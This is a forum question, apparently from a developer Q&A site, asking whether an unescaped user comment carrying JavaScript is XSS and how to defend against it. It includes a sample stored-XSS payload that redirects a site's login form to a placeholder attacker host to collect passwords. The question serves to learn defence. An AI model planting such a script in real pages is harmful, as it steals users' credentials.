title: Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
body: <p>I'm a PHP developer and I'm looking to improve the security of my sites.</p>
  
  <p>From what I understand the following are two major types of vulnerabilities which affect web applications:</p>
  
  <ul>
  <li>SQL Injection</li>
  <li>XSS</li>
  </ul>
  
  <p>SQL Injection can be fixed with prepared statements - easy.</p>
  
  <p>But I still don't really get XSS - is the following an example of XSS?...</p>
  
  <ul>
  <li>Page full of user-made content has a login form at the top (site-wide).</li>
  <li>The user's input to the page is not HTML-escaped.</li>
  <li>A user posts the following content (e.g. a comment) to the page...</li>
  </ul>
  
  
  
  <pre><code>A really nice comment
  
  &lt;!-- now an evil script (example here with jquery, but easily done without) ---&gt;
  &lt;script type="text/javascript"&gt;
  $(document).ready(function() {
      $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
  });
  &lt;/script&gt;
  </code></pre>
  
  <ul>
  <li>An innocent user comes to the page, the script executes.</li>
  <li>The innocent user realises they're not logged in, and enter their details into the form.</li>
  <li>The user's details are sent off to <code>http://somehackysite.com/givemyourpw.php</code> and then the user's account details are stolen.</li>
  </ul>
  
  <p>So I really have three questions here:</p>
  
  <ol>
  <li>Would this work? </li>
  <li>Is this XSS?</li>
  <li>Are there any precautions developers should take against XSS other than escaping HTML?</li>
  </ol>